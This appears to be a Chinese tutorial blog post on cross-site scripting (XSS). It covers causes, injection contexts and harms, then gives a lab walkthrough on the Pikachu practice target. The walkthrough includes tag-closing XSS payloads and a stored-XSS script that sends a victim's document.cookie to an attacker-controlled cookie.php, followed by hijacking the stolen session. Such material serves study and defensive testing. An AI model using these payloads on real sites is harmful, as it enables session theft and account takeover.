当前位置: 首页 > article >正文

XSS跨站脚本攻击

1、什么是XSS攻击

XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免与css层叠样式表名称冲突,所以改为xss,是最常见的web应用程序安全漏洞之一。它指的是恶意攻击者往web页面里插入恶意html代码(JavaScript代码加工到index.html文件中),当用户浏览该页之时,嵌入web里面的html代码会被执行,从而达到恶意用户的特殊目的(如得到目标服务器的shell)。

比如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其他技术,如社会工程学等,欺骗目标服务器的管理员打开,然后利用特殊技术得到shell

 2、XSS漏洞出现的原因

程序对输入和输出的控制不够严格,导致恶意构造的脚本输入后,再输出到前端时被浏览器当作有效代码解析执行(展示到客户端时被浏览器解析执行了)从而产生危害

3、XSS攻击的性质

XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。这里我总结出xss攻击可分为两类:一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句;另一类则是来自外部的攻击,主要指的是自己构造xss跨站漏洞网页或者寻找非目标机以外的的有跨站漏洞的网页。xss属于也客户端攻击,受害者最终是用户(网站管理员也属于用户之一)。这就意味着xss可以进行“服务端”攻击,加引号是因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理、数据管理等操作,而攻击者一般是利用管理员身份作为“跳板”实施攻击。

4、XSS可能存在的地方

其实只要是有用户输入输出、用户交互等一些地方,都可能存在XSS漏洞。

参考xss跨站脚本攻击

<1>HTML context

<p>
Hello {Untrusted Data}
</p>

<2>Attribute Context

<3>URL context

<4>Style Context

<5>Script Context

5、XSS的危害

<1>挂马(水坑攻击)

<2>

对于半年没有更新的小企业网站,发生xss漏洞倒是没什么用,但一般在各类的社交平台,邮件系统,开源流行的web应用,BBS,微博等场景中,造成的杀伤力却非常强大

<3>

劫持用户cookie是最常见的跨站攻击方式,通过在网页写入并执行脚本文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中

<4>

“框架钓鱼”。利用js脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过js脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会发送到攻击者的服务器上

(1)DOM

这里的DOM指当客户端给服务端发送网络请求,服务端给客户端回送一个写了很多标签和和代码的index.html的页面,数据读取出来后返回给浏览器,然后浏览器自上而下解析代码时会将文件中的代码解析成一种文档形式,称为DOM文档(Document Object Mode),也就是文档对象模型。可将其理解为一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态的访问和修改文件内容、结构、样式。当创建好一个页面并加载到浏览器时,DOM就开始额偷偷生效,它会把网页文档转换为一个文档对象,主要功能是处理网页内容,所以可以使JavaScript语言来操作DOM以达到网页的目的(比如pikachu靶场中就有DOM-XSS漏洞题目,其中就有可以由客户端浏览器中输入特殊字符串达到构造闭合,建立标签执行恶意代码的方法),但其一般不与服务器进行交互,所以它也属于中低危漏洞。

(2)可能触发DOM型XSS的js操作

document.referer

window.name

location

innerHTML

document.write

(3)闭合标签

' οnclick="alert(1111)"

' οnclick="alert('xss')">

'><img src="#" οnmοuseοver="alert('xss')">

<a href=" '</a><script>alert(1);</script>">what do you see?</a>

这里在做pikahcu靶场题的时候,对于在构造payload时,明明闭合方式是双引号" ",但构造的是单引号'也能使herf闭合的问题我上网查了一下,但也就告诉我说是浏览器的纠错机制,不用在意,熟练即可,,,

<5>

有局限性的键盘记录

6、XSS测试方法

<1>工具扫描:

APPscan、AWVS、xray等大型漏扫工具、xsstrike等自动化小工具

https://github.com/s0md3v/XSStrike

关于跨站1的扫描与验证,目前已经有工具软件支持,如WebCruiser-Web Vulnerability Scanner(Web 安全漏洞扫描工具,可以扫描出网站存在SQL注入,跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站放这了:

http://sec4app.com

<2>手工测试:

Burpsuite(抓包)、firefox(hackbar)(火狐浏览器F12 hackbar插件)、360开发的一款浏览器插件:XSSER XSSF,(听说这个不太好用,没试过)

7、XSS平台搭建及后台使用(cookie获取)

过程:想要盗取别人的cookie信息的话有一个前提条件,就是应该在别人触发我的XSS攻击时,我的代码应该把收集的cookie信息发送给我的平台接收,这样才获取到了数据。

这是关于cookie的解释

我的kali镜像之前出了点问题,只好卸了重新装,但今晚弄了一晚上也没把phpstudy装回去,显示未找到命令

在各平台上都找了解决办法,也换了命令,发现还是装不上色。刚开始用xshell直接把物理机的phpstudy软件包发过去更简单,但xshell也出了问题,我就纳闷了,昨天还能用来着,,,尝试了很多方法进行时修复,无果

浪费了很多时间,没办法,只能先写下吧,

实战

<1>环境搭建

登录虚拟机安装phpstudy并启动,搭建pikachu平台  然后记得关闭windows10的防火墙以免有影响,还有phpstudy扩展设置下参数开关里的magic_quotes_gpc关闭或取消勾选。打开cmd查看记住ip,返回物理机访问w10ip下的pikachu,可以看到pikachu靶场创建成功,准备另一台虚拟机用于作客户端主机

<2>测试漏洞

打开pikachu靶场下的存储型xss,可以看到可以上传留言的留言列表,上传常用测试标签'"><script>alert(123);</script>  提交,发现回显123,说明有xss漏洞

<3>获取cookie

获取cookie则需要构造js代码

(1)这里先了解一些js代码的功能

打开一个网页的控制台,

document.location.href;回车可以获取到当前页面的网址;

location.href=某url 则给某url发送请求并跳转到该网址;

document.cookie则获取当前页面的cookie

那么连起来lacation.href="http:xxx(某url)=+document.cookie;则是获取cookie,然后给xxx这个网址发请求的意思(如果这个是hacker的网址,那么hacker就获取到了当前页面的网址)

(2)作收集cookie前的准备

接下来回到之前的虚拟机将其作为黑客的主机,然后进入pikachu靶场,进入pikachu Xss后台登录,点击cookie收集,可以看到当前cookie收集的情况,目前是空状态,是保存在数据库里的(包括钓鱼结果和键盘记录都在下方)

接下来我在留言板上上传刚解析的js代码:

'"><script>document.location(后面不接.herf也可以)=http:'(这里hacker的url)/pikachu/(靶场根目录)/cookie.php?cookie='+document.cookie;</script>  然后发布(这里的根目录下要有写入恶意代码的文件)

此时正常情况下返回cookie收集页面hacker就能看到当前收集到的cookie信息。

(3)收集cookie

此时验证刚才的cookie信息可收集之后即可清空收集到的cookie(如果不清空只要数据一加载就会又跳转回上传页面,烦的嘞),然后将上面的攻击代码url换为攻击者主机的ip

此刻粘贴攻击代码上传,回到客户端主机,访问刚刚hacker收集到cookie并等待的网址,随便浏览一下pikachu吧尝试,然后返回hacker主机的等待cookie界面就会发现已经收集到了客户端的cookie信息,包括请求的网址都一目了然

(4)利用cookie进行攻击

hacker既然收集到了客户端的cookie信息,自然就可以利用这些信息进行登录操作

到此完整的实战流程已了解


http://www.kler.cn/a/584578.html

相关文章:

  • Bash和Zsh的主要差异是?
  • 新鲜速递:OpenAI-Agents-Python:构建智能代理系统的轻量级框架
  • Docker子网冲突解决方案及配置说明
  • 第十五届蓝桥杯C/C++ C 组全部题目详细题解
  • 微信小程序使用的SSL证书在哪里申请?
  • 兼职招聘平台(源码+文档+讲解+演示)
  • tomcat负载均衡配置
  • leetcode0056. 合并区间 - medium
  • SQL Server性能优化实战:从瓶颈定位到高效调优
  • R+VIC模型融合实践技术应用及未来气候变化模型预测
  • Oracle获取SQL执行日志
  • 深度学习基础-onnxruntime推理模型
  • 如何通过自动化测试提升DevOps效率?
  • Axure PR 9 中继器 04 条件查询
  • MySQL与Redis的缓存一致性问题
  • 【linux】文件与目录命令 - stat
  • 使用Python在Word中生成多种不同类型的图表
  • JVM类加载机制和双亲委派
  • 江科大51单片机笔记【16】AD/DA转换(下)
  • Arbitrum之智能合约